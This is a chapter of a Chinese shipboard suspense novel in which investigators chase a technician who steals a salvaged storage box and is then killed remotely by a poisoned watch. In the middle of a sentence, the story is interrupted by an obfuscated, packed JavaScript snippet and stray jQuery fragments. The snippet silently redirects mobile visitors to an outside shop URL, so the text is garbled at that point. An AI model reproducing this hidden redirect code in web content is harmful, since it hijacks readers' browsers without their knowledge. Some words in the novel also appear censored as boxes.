江星野关掉屏幕。
那条威胁夏清羽的提示随即消失,系统自动补上一段再正常不过的运行日志,仿佛它从未出现。
何知遥从病床下取出一张折叠过的纸,上面是她醒来后凭记忆写下的时间线。
“信息舱封锁前十分钟,我见过四个人。”
前三个人的行踪都有人能够相互作证,只有一个名字被她单独圈了出来。
陈泊。
逐浪号设备组的老海员,负责舱门、通风与机械锁的日常维护。信息舱出事前一天,正是陈泊更换了舱门的机械锁扣。
“他现在在哪儿?”江星野问。
“设备组宿舍。”
江星野拿起通讯器,只联系了祁越。
“带两个你信得过的人,去设备组宿舍。”
十分钟后,四人在设备组宿舍外会合。
走廊灯光昏暗。
陈泊的房门从里面反锁,敲了三次,无人回应。
祁越将机械钥匙插进去,转不动。
“门后有东西。”
两名安保人员退开半步,同时撞向舱门。
第一下,只撞出一道缝。
第二下,门后传来工具箱拖动的摩擦声。
第三下,舱门终于弹开。
房内空无一人。
陈泊的工作服挂在衣柜里,工作证和腕表都放在桌上,床边那杯水却还带着一点余温。
祁越检查卫生间。
“没人。”
江星野走到门后。抵住舱门的金属工具箱上绑着一根细绳,绳索绕过床脚,另一头从通风窗伸出去。陈泊离开后,从外面拉动绳子,便能让工具箱自动滑到门后。
这是刻意留下的密室假象。
“他知道会有人来找。”祁越说。
走廊外忽然传来脚步声。
几人同时回头。
周启航抱着一台旧式数据读取器站在不远处。
他是数据组的普通技术员,个子不高,戴着黑框眼镜,看见被撞开的房门,神情明显一怔。
“江工?”
祁越挡住门口。
“你来做什么?”
“陈师傅让我把读取器送过来。”周启航抱紧怀里的机器,“他说有一块老存储片打不开。”
“什么时候让你送的?”
“晚饭前。”
江星野的目光落在那台读取器上,外壳磨损严重,接缝处刚做过维护,接口位置覆盖着一层蓝色的油脂。
“给我看看。”
周启航把设备递了过去。
读取器底部贴着维修标签。
领取人是陈泊,时间是今天下午。
“他还说过什么?”江星野问。
“没有。”
周启航看了一眼空荡荡的房间,声音低了些。
“陈师傅不在?”
就在这时,何知遥的声音从耳机中传来。
“陈泊的权限刚刚在低温样本区出现。”
祁越立即转身。
“走。”
江星野把读取器交给一名安保人员。经过周启航身旁时,他停了一步。
“留在宿舍区。”
周启航点头。
低温样本区位于船体另一侧。四人赶到时,外层舱门正在关闭。祁越伸手卡住门缝,舱门却忽然加速,险些夹住他的手臂。江星野一脚抵进缝隙,两名安保人员合力将门撑开。
寒气扑面而来。
走廊尽头,一个穿设备组工作服的男人一闪而过。
“陈泊!”
那人没有回头,转进另一条通道。
江星野跟在祁越身后,追过第一个弯道,便察觉出异样。对方跑得不快,不像逃命,倒像生怕他们跟丢。第二个转角后,人影消失。
地上只剩一件设备组外套,外套下面压着陈泊的腕表。
祁越捡起来,脸色阴沉。
“是诱饵。”
几乎同时,宿舍区的监控全部中断。
江星野停下脚步。
他们离开陈泊的房间不到三分钟,有人故意用权限把他们引到船体另一端。
可对方真正要做什么?
——
生活区的门依旧锁着。
夏清羽坐在桌边,手里把玩那只归巢鸟。
江星野暂停了她所有核心区域的权限,门外还有人守着。硬闯只会让更多人知道他们之间已经出现裂痕。
桌面上放着她从远星号存储盒底部取下的沉积物。盒子被江星野带走得仓促,桌角还遗落了一小片锈蚀的金属。夏清羽原本只想把它收进样本袋。
镊子夹起碎片时,灯光从侧面落下,锈片背后闪过一道很细的蓝光。不是水晶,是一层带着油润反光的蓝黑色物质。夏清羽换了一个角度,那层物质附着在金属折角处,宽度不到两毫米,边缘却异常整齐,像被某种接口反复摩擦过。
她取出一根棉签,轻轻擦了一下,棉签顶端立刻染上深蓝。
这不是海底沉积物。
海水浸泡十二年留下的痕迹不会浮在新划痕的表面,更不会带有这种黏度。
是润滑剂。
而且是盒子被打捞后才沾上的。
夏清羽打开手机里拍下的盒子细节照片。盒盖内侧、隐藏卡扣和数据接口附近,都有同样的蓝黑色细线。痕迹集中在接口,没有大面积涂抹,说明打开盒子的人并没有直接使用维修工具,而是通过一台旧式读取设备,多次转接、拆卸,才将润滑剂磨进盒缝里。
她忽然想起一件事。
江星野带走盒子前,她问过何知遥,船上什么设备能读取远星号十二年前的存储片。
何知遥当时回答:
“现有接口不兼容,需要旧式读取器。”
旧式读取器。
夏清羽立刻拿起房间的紧急电话,拨通设备值班台。
“我是夏清羽。刚才有人领取过旧式数据读取器吗?”
对方翻了一下纸质记录。
“有一台,下午送去检修了。”
“领用人是谁?”
“登记的是陈泊。”
“谁负责送过去?”
值班员停顿几秒。
“数据组的周启航。”
夏清羽眼神微变。
她没有继续追问,挂断电话后直接拨向低温区的机械应急线。这种电话不经过个人账号,只能接到区域墙机。铃声响了很久,终于被人接起。
祁越的声音夹在急促的脚步声中。
“哪位?”
“江星野在你旁边吗?”
祁越看向身侧,把听筒递过去。
江星野接过,语气仍然冷淡。
“什么事?”
夏清羽看着桌上的锈片。
“你们在陈泊宿舍见过别人吗?”
江星野脚步慢了下来。
“周启航。”
“他手里是不是抱着一台读取器?”
“是。”
“你拿过吗?”
“拿过。”
“接口处有没有油?”
江星野没有立刻回答,记忆里的画面重新浮现。周启航抱着机器,接口向内压在臂弯。他接过来检查时,指腹曾蹭到一层黏腻的东西。
光线太暗,看不清颜色。
可他把设备交给安保人员后,手套边缘确实留下了一道蓝色痕迹。
“远星号盒子的接口上有同样的润滑剂。”她说,“是旧式转接头反复磨进去的。”
江星野目光骤沉,冲出低温区。
“祁越,封锁宿舍层和所有下船通道。”
耳机里传来何知遥急促的声音。
“宿舍监控刚被切断,船尾工作艇的机械锁在二十秒前打开。”
祁越脸色骤变。
“他要逃。”
——
船尾风浪极大。
工作艇正沿着钢缆缓缓下降。
男人已经换上潜水服,背着氧气瓶站在低层平台,怀里仍抱着那台旧读取器。
“周启航!”
祁越厉声喊道。
周启航回头。
看见江星野的一瞬,他脸上的血色彻底褪去。他没有解释,抬手便按下工作艇的紧急释放键。
钢缆骤然下坠,小艇重重砸进海里。
江星野停在平台入口。
“把读取器放下。”
周启航退到护栏边。他左手按着设备,右手藏在身后。
“别过来。”
“陈泊在哪儿?”
周启航没有回答。
祁越向旁边的安保人员打了个手势。
周启航忽然从读取器背后抽出一把□□,割断最后一根固定带。
设备外壳裂开。
黑色防水箱从里面掉出来,被他一把抱住,果然是远星号的存储盒。他翻过护栏,顺着钢索跳上工作艇。发动机自动启动,显然早已设置好航线。
江星野扣上安全绳,祁越一把抓住他。
“下面海流太
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17790973|210321||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
急!让工作艇去追!”
“来不及了。”
江星野锁紧腰间的安全扣,翻过护栏跃进海中。
冰冷的海水瞬间吞没他,工作艇在浪中剧烈起伏。周启航跪在艇尾,正用□□撬开防水箱。
江星野抓住牵引绳,借着浪势靠近。周启航发现他,没有说话,转身便刺。江星野侧身一躲,慢了一点,刀锋擦过肩膀。黑色衣料瞬间裂开,鲜血在海水里晕成暗色。
江星野扣住他的手腕,将人撞向艇侧。
□□落海。
江星野抓住他的氧气瓶,两人同时被掀进海里。
甲板上传来祁越的声音。
“收绳!”
安全绳骤然绷紧。
江星野被向逐浪号拖去。
周启航却死死抓着防水箱,另一只手揪住他的潜水服,不肯松开。
工作艇忽然熄灯。
紧接着,原本已经驶远的小艇猛地调转方向,朝两个人直冲过来。
“艇失控了!”
江星野按住周启航的肩膀,带着他沉入水下。艇身从头顶轰然掠过,螺旋桨卷起的水流将两人强行分开。
再浮出水面时,周启航已经漂出数米。
他不再逃了。
氧气管从接口处断开,切口平直,显然早被人动过手脚。
周启航慌乱地捂住管口,拼命向逐浪号游。
直到这一刻,他才明白,从他跳下船开始,就没人准备让他活着离开。
江星野朝他伸手。两人的指尖即将碰到时,一道巨浪从侧面砸下,周启航瞬间被卷进黑暗。江星野抓住浮起的防水箱,转身潜入水下。
周启航被牵引索缠住,身体不断撞向艇底。江星野割断绳索,将人拖出海面。两人被安全绳拉回平台。
祁越已经通知苏棠赶来抢救。
周启航呛出大量海水,胸口微弱地起伏了一下。
何知遥站在人群外,看着这个差点将自己锁死在信息舱的人。
“你看见我进去了吗?”
周启航睁开眼,嘴唇轻轻动了一下。
“看……见……”
何知遥眼底最后一丝温度消失。他知道她在里面,仍然关上了门。
江星野把防水箱放到他面前。
“谁让你带走盒子?”
周启航瞳孔骤缩。
视线越过江星野,仓促地扫向甲板上的人群。
设备组、数据组、项目管理层,全都闻讯赶来。
他的目光似乎停在某处。还没来得及开口,腕表突然亮起一个红点。
江星野立刻道:
“摘掉他的表!”
祁越刚碰到表带,里面便传出一声轻响。一根细针从腕带内侧弹出,刺进周启航手腕。
他身体猛地绷直。
苏棠迅速注射急救药物。
“心率下降!”
周启航张着嘴,呼吸却越来越弱。
江星野俯下身。
“谁在控制你?”
周启航的喉咙里只剩模糊的气音。
他看着江星野,嘴唇艰难地动了一下。
像是想说什么。
长鸣声骤然响起。
他的手重重垂落。
苏棠抢救了几分钟,最终停下动作。
“没救回来。”
风浪一下下拍打着逐浪号。
甲板上,所有听见警报的人都赶了过来。
项目负责人梁峻成、船长宋北川,以及设备组、数据组和安保组的负责人,全都站在人群中。
梁峻成刚刚赶到,神色震惊地看着地上的尸体。
祁越低声问:
“他最后说了什么?”
江星野直起身。
“什么都没说。”
周启航死前看向过人群,可那一眼太短,没有人知道他在看谁。
何知遥戴着手套,捡起周启航的腕表,腕带内侧除了弹出的细针,还刻着一组极浅的配发编号。
“这不是数据组的普通腕表。”
“是什么?”祁越问。
“核心管理层的安全设备。”
周启航只是一个普通技术员,没有资格领取,也没有权限激活。江星野看向甲板上的人群,他们抓到了执行者,却有人当着所有人的面,远程杀死了他。
而那个把核心设备交给周启航、替他开放权限、准备好逃生路线的人——
此刻仍然站在逐浪号上。
看着他们调查自己。